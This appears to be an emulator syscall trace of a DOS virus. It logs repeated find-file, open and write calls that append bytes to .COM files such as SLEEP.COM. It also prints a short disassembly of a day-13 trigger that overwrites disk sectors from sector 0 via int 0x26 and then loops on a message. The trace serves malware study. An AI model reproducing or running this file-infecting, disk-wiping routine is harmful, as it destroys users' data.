2018-12-25T11:42:49.344884876Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.347233787Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.356718081Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.361960625Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.364962922Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.376446529Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.384128818Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.391585495Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.394737154Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.398862967Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.402074742Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.404036056Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.407598395Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.41097969Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.413046985Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.421937523Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.427906423Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.430886699Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.442403745Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.450096063Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.457638586Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.460248877Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.463322674Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.467145508Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.472137919Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.474250498Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.476488198Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.478939597Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.487633059Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.49280907Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.49588852Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.507391554Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.514789418Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.521865807Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.524093587Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.527010536Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.529934409Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.533050391Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.536422811Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.539702232Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.542008088Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.550065384Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.555280081Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.558630955Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.569816078Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.577112888Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.584734044Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.586394592Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.595648731Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.599175709Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.600777228Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.608168696Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.637240766Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.638614933Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.648694015Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.654887773Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.659165243Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.67041971Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.678062071Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.686082894Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.688142483Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.691674217Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.69529479Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.696887761Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.699800829Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.703808186Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.705691649Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.714368639Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.720477969Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.72349322Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.734926264Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.741749306Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.744336854Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.745836743Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.755441622Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.760194394Z 78 PC: 12a90 | Find first file
2018-12-25T11:42:49.767989797Z 42 PC: 12ac8 | Get date 0x12ac8: cmp dl, 0xd
0x12acb: jne 0x12aef
0x12acd: mov ah, 0x19
0x12acf: int 0x21
0x12ad1: mov cx, 0x100
0x12ad4: cli
0x12ad5: mov dx, 0
0x12ad8: int 0x26
0x12ada: sti
0x12adb: mov ah, 0x40
0x12add: mov bx, 1
0x12ae0: mov cx, 0x1a
0x12ae3: lea dx, word ptr [bp + 0x16a]
0x12ae7: int 0x21
0x12ae9: xor ax, ax
0x12aeb: int 0x16
0x12aed: jmp 0x12adb
0x12aef: mov ah, 0x1a
0x12af1: mov dx, 0x80
0x12af4: int 0x21
2018-12-25T11:42:49.770875872Z 26 PC: 12af6 | Set disk transfer address

{"DateBased":true,"Day":13,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1096,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:42:49.994104473Z 26 PC: 12a78 | Set disk transfer address
2018-12-25T11:42:49.995574009Z 78 PC: 12a83 | Find first file
2018-12-25T11:42:50.003413891Z 67 PC: 12b03 | Get or set file attributes
2018-12-25T11:42:50.020522732Z 61 PC: 12b0c | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:42:50.028008644Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-25T11:42:50.036414299Z 66 PC: 12b30 | Move file pointer
2018-12-25T11:42:50.038982943Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-25T11:42:50.048314557Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-25T11:42:50.057907182Z 66 PC: 12b77 | Move file pointer
2018-12-25T11:42:50.061205777Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:42:50.068547719Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-25T11:42:50.071444555Z 87 PC: 12b9a | Get or set file date and time
2018-12-25T11:42:50.090800383Z 62 PC: 12b9e | Close file
2018-12-25T11:42:50.099600264Z 67 PC: 12bab | Get or set file attributes
2018-12-25T11:42:50.105215941Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:50.109419806Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:50.120412942Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:50.127937496Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:50.135757378Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:50.138561743Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:50.141524496Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:50.144918416Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:50.146933499Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:50.149720282Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:50.152447938Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:50.154828801Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:50.162869685Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:50.168108508Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:50.171511651Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:50.182063664Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:50.189278161Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:50.197493543Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:50.19943343Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:50.202323354Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:50.211649006Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:50.213103175Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:50.215931014Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:50.219492309Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:50.221108518Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:50.229390956Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:50.235333044Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:50.23840255Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:50.249154147Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:50.259527019Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:50.267017481Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:50.268779436Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:50.27251194Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:50.27557956Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:50.277157702Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:50.280902519Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:50.283911401Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:50.28562632Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:50.293795578Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:50.29923383Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:50.303131174Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:50.455857104Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:50.464522832Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:50.472585418Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:50.474793157Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:50.47934615Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:50.482972903Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:50.484684416Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:50.488970808Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:50.492944995Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:50.494818461Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:50.54150791Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:50.54516178Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:50.547253082Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:50.567147186Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:50.57538349Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:50.582464636Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:50.584340188Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:50.60210517Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:50.605072692Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:50.606680896Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:50.615305806Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:50.618229836Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:50.619935736Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:50.641506055Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:50.647749016Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:50.650793886Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:50.681009806Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:50.689370874Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:50.696764261Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:50.69851318Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:50.702097525Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:50.706482103Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:50.707821977Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:50.711314043Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:50.714376596Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:50.715748719Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:50.746714855Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:50.75302169Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:50.755918683Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:50.788402318Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:50.795960031Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:50.798748818Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:50.80129353Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:50.833991157Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:50.837450518Z 78 PC: 12a90 | Find first file
2018-12-25T11:42:50.844458458Z 42 PC: 12ac8 | Get date 0x12ac8: cmp dl, 0xd
0x12acb: jne 0x12aef
0x12acd: mov ah, 0x19
0x12acf: int 0x21
0x12ad1: mov cx, 0x100
0x12ad4: cli
0x12ad5: mov dx, 0
0x12ad8: int 0x26
0x12ada: sti
0x12adb: mov ah, 0x40
0x12add: mov bx, 1
0x12ae0: mov cx, 0x1a
0x12ae3: lea dx, word ptr [bp + 0x16a]
0x12ae7: int 0x21
0x12ae9: xor ax, ax
0x12aeb: int 0x16
0x12aed: jmp 0x12adb
0x12aef: mov ah, 0x1a
0x12af1: mov dx, 0x80
0x12af4: int 0x21
2018-12-25T11:42:50.847028558Z 25 PC: 12ad1 | Get default drive
2018-12-25T11:42:50.886786605Z 64 PC: 12ae9 | Write file or device (Write 26 bytes on handle 1)